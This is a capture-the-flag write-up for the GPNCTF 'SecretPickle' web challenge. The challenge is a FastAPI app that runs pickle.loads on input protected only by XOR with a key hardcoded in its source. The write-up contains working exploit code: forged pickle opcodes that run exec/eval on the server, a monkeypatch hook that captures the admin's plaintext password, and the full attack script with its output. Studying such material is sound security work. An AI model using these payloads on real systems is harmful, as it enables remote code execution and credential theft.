← Back to Writeups
CUSTOMEasyWeb

SecretPickle

XESXOR9/10/20266 min read
#web#custom#easy#forged_pickle_opcodes#plaintext_credential_capture#request_hook_capture#server_rce#xor_known_key

SecretPickle

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: forged_pickle_opcodes, plaintext_credential_capture, request_hook_capture, server_rce, xor_known_key

Summary

Walkthrough of the CUSTOM Web SecretPickle. Task: FastAPI app deserializes a 'secretpickle' blob (base64 + XOR with a key hardcoded in source) via pickle.loads, giving unauthenticated RCE. Solution: forge arbitrary pickle opcodes since the XOR


title: "SecretPickle" id: 20240601_gpnctf_secretpickle category: web difficulty: easy event: gpnctf tags: ["rce", "playwright", "fastapi", "xor", "pickle", "insecure_deserialization", "pyodide", "fake_encryption", "adminbot"] techniques: ["forged_pickle_opcodes", "plaintext_credential_capture", "request_hook_capture", "server_rce", "xor_known_key"] tools: ["base64", "python3", "urllib"] indicators: ["XOR key hardcoded in source", "pickle.loads on user-controlled bytes", "base64 + XOR called 'encryption", "adminbot logs in with FLAG as password", "fixed pickle prefix stripped/prepended"]

SecretPickle — GPNCTF (kitctf / GPN24)

Description

The only serialization method that I found in the restaurant were Pickles. So I made an encrypted version of it that nobody can crack!

We are given secretpickle-easy.tar.gz with app/{adminbot.py, client.py, secretpickle.py, server.py, index.html, deps/...}. The goal is to read the flag, which lives at /flag.txt inside the adminbot container.

Architecture

  • Frontend runs entirely in the browser via Pyodide (client.py + secretpickle.py). It parses URL query params with yaml.safe_load and renders server results via DOMPurify.sanitize + document.write.

  • Backend is FastAPI (server.py). One key endpoint:

    python
    @app.post("/{b64:path}")
    async def secretpickle_handle(request: Request, b64: str):
        pl = secretpickle_load(b64)          # -> pickle.loads
        action = pl.get("action", pl.get("a"))
        params = pl.get("params", pl.get("p", {}))
        res = await action_handler(action, params, pl)
        return secretpickle_dump(res)

    Actions: home, hello, register, login, whoami, encrypt, decrypt, adminbot.

  • adminbot (adminbot.py, Playwright/chromium). On every visit it:

    1. registers admin with password=FLAG,
    2. logs in as admin (which stores username/password in the headless browser's localStorage),
    3. runs whoami,
    4. then navigates to the attacker-supplied URL.
    python
    FLAG = open("/flag.txt").read().strip()
    ...
    await page.goto(action_url("register", username="admin", password=FLAG))
    await page.goto(action_url("login",    username="admin", password=FLAG))
    await page.goto(action_url("whoami"))
    await page.goto(url)   # attacker-controlled

Analysis — the fake "encryption"

secretpickle.py is the entire crypto:

python
SECRETPICKLE_OBJECT_PREFIX = bytes.fromhex("8004 950000000000000000 7d 94 28")
# proto4 + FRAME(len=0) + EMPTY_DICT + MEMOIZE + MARK

# "128 random bits, so same security as AES-128"
SECRETPICKLE_XOR_KEY = bytes.fromhex("77c07f8fd2ae7ad9f5aabc008c79d0d3")  # HARDCODED

def secretpickle_dump(decoded, encoder=pickle.dumps):
    raw = encoder(decoded)
    trimmed = raw[len(SECRETPICKLE_OBJECT_PREFIX):]   # strip fixed 14-byte prefix
    return base64.b64encode(xor(trimmed, KEY)).decode()

def secretpickle_load(encoded, decoder=pickle.loads):
    decoded = base64.b64decode(encoded)
    untrimmed = SECRETPICKLE_OBJECT_PREFIX + xor(decoded, KEY)  # re-prepend prefix
    return decoder(untrimmed)                                  # pickle.loads!

Root cause: the "encryption" is XOR with a key committed in the source, so it provides zero secrecy. Anyone can forge an arbitrary secretpickle blob → arbitrary pickle bytes are passed to pickle.loads on the server → unauthenticated remote code execution. (Classic: pickle is not a secure format, and XOR-with-known-key is not encryption.)

Why server RCE alone doesn't directly give the flag

  • The flag lives in the adminbot container (/flag.txt) and is used as the admin password.
  • On the server, USERS only stores sha256(FLAG) — not reversible:
    python
    USERS[username] = {"username": username, "password": hash(password)}  # sha256
  • But the adminbot's pyodide client logs in as admin by POSTing the payload containing password=FLAG in plaintext to the server (the password is in the secretpickle body sent to POST /{b64}). So with server RCE we hook the request handler to capture every decrypted payload, trigger the adminbot, and the admin login leaks FLAG in plaintext into our capture, which we read back.

The forge primitive

secretpickle_load always prepends the fixed 14-byte PREFIX. That prefix is exactly proto4 + FRAME + EMPTY_DICT + MEMOIZE + MARK, i.e. it leaves an empty dict {} and a MARK on the pickle stack — harmless. To forge an arbitrary pickle P:

  1. Build P = PREFIX + <your opcodes>. Append a REDUCE object + STOP; pickle.loads returns the top of the stack (your object), ignoring the leftover {}/MARK.
  2. Send b64 = base64( XOR( P[14:], KEY ) ) to POST /{b64}.
python
def forge(full_pickle: bytes) -> str:
    assert full_pickle[:len(PFX)] == PFX
    return base64.b64encode(secretpickle_encrypt(full_pickle[len(PFX):])).decode()

def pstr(s: bytes) -> bytes:                    # SHORT_BINUNICODE / BINUNICODE
    if len(s) < 256:
        return b'\x8c' + bytes([len(s)]) + s
    return b'X' + len(s).to_bytes(4, 'little') + s

Two payload builders:

python
def payload_exec(code: str) -> str:
    # runs builtins.exec(code) during unpickling (side effects; loaded value = None)
    ops = b'cbuiltins\nexec\n(' + pstr(code.encode()) + b'tR.'
    return forge(PFX + ops)

def payload_eval_to_hello(code: str) -> str:
    # loaded value = {'action':'hello','params':{'name': str(eval(code))}}
    # server 'hello' returns "Hello, {name}!" -> echoes eval result back to us
    expr = "{'action':'hello','params':{'name': str(%s)}}" % code
    ops = b'cbuiltins\neval\n(' + pstr(expr.encode()) + b'tR.'
    return forge(PFX + ops)

payload_eval_to_hello gives us both an RCE confirmation and an arbitrary read primitive: the hello action returns "Hello, {name}!", so the result of evaluating any expression is echoed back in the HTTP response.

The capture hook (closure pitfall)

We exec code that wraps both secretpickle.secretpickle_load and server.secretpickle_load so every decrypted payload's repr is appended to builtins._cap.

python
HOOK_CODE = (
    "import builtins, server, secretpickle, pickle\n"
    "if not hasattr(builtins, '_cap'):\n"
    "    builtins._cap = []\n"
    "    _o = secretpickle.secretpickle_load\n"
    "    def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins):\n"
    "        r = _o(encoded, decoder)\n"
    "        try: _b._cap.append(repr(r))\n"
    "        except Exception: pass\n"
    "        return r\n"
    "    secretpickle.secretpickle_load = _hook\n"
    "    server.secretpickle_load = _hook\n"
)

Two gotchas worth remembering:

  • Closure binding. When running via builtins.exec(code_string) inside the unpickling frame, the exec namespace does not persist as the nested function's globals, so the inner function loses references like builtins and the original function. Fix: bind them as default arguments (def _hook(encoded, decoder=pickle.loads, _o=_o, _b=builtins): ...).
  • Both name bindings. server.py did from secretpickle import secretpickle_load, so it holds its own name binding — you must patch server.secretpickle_load too, not just the one in the secretpickle module.

Full attack chain

  1. Stage 1 (sanity): POST payload_eval_to_hello("7*6") → response Hello, 42! confirms server RCE + read primitive.
  2. Stage 2: POST payload_exec(HOOK_CODE) → installs the capture hook (the response is an error because the loaded value is None, but the side effect succeeds).
  3. Stage 3: POST a normal secretpickle for action=adminbot with params.url = base64("http://127.0.0.1/?action=home"). The adminbot register+login+whoami as admin, sending password=FLAG in plaintext to the server, captured by the hook. (The adminbot fetch may report Remote end closed connection without response or take ~15–25s; that's fine, the capture still happens.)
  4. Stage 4: POST payload_eval_to_hello("__import__('builtins')._cap") → the server returns the captured payloads, including the admin login with the plaintext FLAG. Regex GPNCTF\{[^}]*\} extracts it.
python
post(payload_eval_to_hello("7*6"))                 # -> "Hello, 42!"
post(payload_exec(HOOK_CODE))                       # install hook
bot_url = base64.b64encode(b"http://127.0.0.1/?action=home").decode()
post(secretpickle_dump({"action": "adminbot", "params": {"url": bot_url}}))
time.sleep(25)
res = post(payload_eval_to_hello("__import__('builtins')._cap"))
print(re.findall(r"GPNCTF\{[^}]*\}", str(res)))

Live output (proof)

Stage 4 returned:

Hello, ["{'action': 'adminbot', 'params': {'url': 'aHR0cDovLzEyNy4wLjAuMS8/YWN0aW9uPWhvbWU='}}",
         "{'action': 'login', 'params': {'username': 'admin',
           'password': 'GPNCTF{REDACTED}'}}"]!

Dead ends (lessons)

  • XSS via the rendered result: DOMPurify is 3.4.7 (latest, no known bypass) — html() sanitizes everything, so direct DOM XSS to read localStorage is not viable.
  • YAML anchor self-reference in client.load_params (to make params alias the root dict so the post-set password gets reflected): impossible because the client transforms every & into a newline (and %26 unquotes to & then becomes a newline), and YAML anchors require &.
  • No direct pickle injection into the admin browser: the only pickle.loads in the browser is on the server's response, so you must control the server (server RCE) to influence it — hence the server-side capture approach is the clean path.
  • Reading the admin password from USERS is useless: only sha256(FLAG) is stored.

Key Takeaways / Lessons

  • Mastering forged_pickle_opcodes, plaintext_credential_capture, request_hook_capture, server_rce, xor_known_key was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2024-06-01 • CUSTOM • SecretPickle • Difficulty: Easy